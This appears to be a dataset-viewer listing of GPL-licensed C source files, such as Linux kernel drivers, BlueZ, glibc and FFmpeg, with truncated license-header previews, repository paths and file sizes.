either version 2 of the License, or (at your option) an... | FOSSEE/FOSSEE-netbook-kernel-source | drivers/i2c/busses/wmt-i2c-bus-3.c | C | gpl-2.0 | 32,741 |
/*
BlueZ - Bluetooth protocol stack for Linux
Copyright (C) 2010 Nokia Corporation
Copyright (c) 2011-2012 The Linux Foundation. All rights reserved.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License version 2 as
published by t... | BrateloSlava/kernel_apq8064 | net/bluetooth/mgmt.c | C | gpl-2.0 | 77,823 |
/*
* Copyright 2002-2005, Instant802 Networks, Inc.
* Copyright 2005-2006, Devicescape Software, Inc.
* Copyright 2007 Johannes Berg <johannes@sipsolutions.net>
* Copyright 2008 Luis R. Rodriguez <lrodriguz@atheros.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms... | maurillo71/beaglebone-linux | net/wireless/reg.c | C | gpl-2.0 | 61,442 |
/*
* IMG Pistachio USB PHY driver
*
* Copyright (C) 2015 Google, Inc.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms and conditions of the GNU General Public License,
* version 2, as published by the Free Software Foundation.
*/
#include <linux/clk.h>
#include <li... | chrisdearman/kernel-common | drivers/phy/phy-pistachio-usb.c | C | gpl-2.0 | 5,778 |
/* -*- Mode: C; tab-width: 8; indent-tabs-mode: t; c-basic-offset: 8 -*-
*
* Copyright (C) 2013 Richard Hughes <richard@hughsie.com>
*
* Licensed under the GNU General Public License Version 2
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public ... | heysion/colord-clone | lib/huey/huey-enum.c | C | gpl-2.0 | 2,937 |
/*
* Copyright (C) 2001-2004 by David Brownell
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This progra... | btolfa/kernel_tion_pro28 | drivers/usb/host/ehci-hub.c | C | gpl-2.0 | 31,050 |
/**
* @file error.c Error functions
*
* purple
*
* Purple is the legal property of its developers, whose names are too numerous
* to list here. Please refer to the COPYRIGHT file distributed with this
* source distribution.
*
* This program is free software; you can redistribute it and/or modify
* it under t... | difro/pidgin-nateon | src/error.c | C | gpl-2.0 | 7,255 |
/*
* rtl_tcp_andro is a library that uses libusb and librtlsdr to
* turn your Realtek RTL2832 based DVB dongle into a SDR receiver.
* It independently implements the rtl-tcp API protocol for native Android usage.
* Copyright (C) 2016 by Martin Marinov <martintzvetomirov@gmail.com>
*
* This program is free softwar... | AnthonyQuan/AndroidRTLPower | app/src/main/jni/queue.c | C | gpl-2.0 | 2,396 |
/*
===========================================================================
Copyright (C) 1999-2005 Id Software, Inc.
This file is part of Quake III Arena source code.
Quake III Arena source code is free software; you can redistribute it
and/or modify it under the terms of the GNU General Public License as
publish... | entdark/q3mme | trunk/code/botlib/be_aas_file.c | C | gpl-2.0 | 24,509 |
/* Core Hardware driver for Hx4700 (ASIC3, EGPIOs)
*
* Copyright (c) 2005 SDG Systems, LLC
*
* 2005-03-29 Todd Blumer Converted basic structure to support hx4700
* 2005-04-30 Todd Blumer Add IRDA code from H2200
*/
#include <linux/module.h>
#include <linux/version.h>
#include <linux/interrupt.h>
... | janrinze/loox7xxport.loox2-6-22 | arch/arm/mach-pxa/hx4700/hx4700_core.c | C | gpl-2.0 | 9,113 |
/* Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; version 2 of the License.
This program is distributed in t... | tempesta-tech/mariadb_10.2 | storage/myisam/ft_parser.c | C | gpl-2.0 | 11,421 |
/*
* linux/fs/ext4/ialloc.c
*
* Copyright (C) 1992, 1993, 1994, 1995
* Remy Card (card@masi.ibp.fr)
* Laboratoire MASI - Institut Blaise Pascal
* Universite Pierre et Marie Curie (Paris VI)
*
* BSD ufs-inspired inode and directory allocation by
* Stephen Tweedie (sct@redhat.com), 1993
* Big-endian to litt... | CurtisMJ/g800f_custom_kernel | fs/ext4/ialloc.c | C | gpl-2.0 | 33,970 |
/*
***************************************************************************
* Ralink Tech Inc.
* 4F, No. 2 Technology 5th Rd.
* Science-based Industrial Park
* Hsin-chu, Taiwan, R.O.C.
*
* (c) Copyright 2002, Ralink Technology, Inc.
*
* All rights reserved. Ralink's source code is an unpublished work and th... | tossp/lede-k3 | package/lean/mt/drivers/mt7615d/src/mt_wifi/os/linux/rbus_prop_dev.c | C | gpl-2.0 | 7,562 |
/*
Copyright 2007-2011 David Robillard <http://drobilla.net>
Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THIS SOFTWARE IS PROVIDED "AS IS" AND... | ccherrett/oom | dependencies/lilvbundle/lilv-0.5.0/src/node.c | C | gpl-2.0 | 10,040 |
/* Operating system support for run-time dynamic linker. Hurd version.
Copyright (C) 1995-2014 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as ... | Phant0mas/glibc-hurd | sysdeps/mach/hurd/dl-sysdep.c | C | gpl-2.0 | 17,842 |
/*
* Block driver for media (i.e., flash cards)
*
* Copyright 2002 Hewlett-Packard Company
* Copyright 2005-2008 Pierre Ossman
*
* Use consistent with the GNU GPL is permitted,
* provided that this copyright notice is
* preserved in its entirety in all copies and derived works.
*
* HEWLETT-PACKARD COMPANY MAK... | iJo09/Hybridmax_Kernel_I9505_Lollipop-1 | drivers/mmc/card/block.c | C | gpl-2.0 | 76,834 |
/*
* This file is part of the coreboot project.
*
* Copyright (C) 2007-2009 coresystems GmbH
* Copyright (C) 2013 Google Inc.
* Copyright (C) 2015 Intel Corporation.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
*... | latelee/coreboot | src/mainboard/intel/kunimitsu/mainboard.c | C | gpl-2.0 | 2,726 |
/*
* Driver O/S-independent utility routines
*
* Copyright (C) 1999-2010, Broadcom Corporation
*
* Unless you and Broadcom execute a separate written software license
* agreement governing use of this software, this software is licensed to you
* under the terms of the GNU General Public License version 2 (... | sktjdgns1189/android_kernel_samsung_SHW-M130L | drivers/net/wireless/bcm4329/src/shared/bcmutils.c | C | gpl-2.0 | 44,532 |
/*
* Interface to libmp3lame for mp3 encoding
* Copyright (c) 2002 Lennert Buytenhek <buytenh@gnu.org>
*
* This file is part of FFmpeg.
*
* FFmpeg is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation;... | uwehermann/easybox-904-lte-firmware | package/ffmpeg/src/libavcodec/libmp3lame.c | C | gpl-2.0 | 6,658 |
/* $Id: capi.c,v 1.1.1.1 2007-05-25 06:50:09 bruce Exp $
*
* ISDN lowlevel-module for the IBM ISDN-S0 Active 2000.
* CAPI encoder/decoder
*
* Author Fritz Elfert
* Copyright by Fritz Elfert <fritz@isdn4linux.de>
*
* This software may be used and distributed according to the terms
* of the GNU Ge... | shaowei-wang/520board-v1-linux-2.6.21.x | drivers/isdn/act2000/capi.c | C | gpl-2.0 | 33,040 |
/* arch/arm/mach-msm/cpufreq.c
*
* MSM architecture cpufreq driver
*
* Copyright (C) 2007 Google, Inc.
* Copyright (c) 2007-2010, Code Aurora Forum. All rights reserved.
* Author: Mike A. Chan <mikechan@google.com>
*
* This software is licensed under the terms of the GNU General Public
* License version 2, as ... | BytecodeMe/vanquish | arch/arm/mach-msm/cpufreq.c | C | gpl-2.0 | 7,616 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.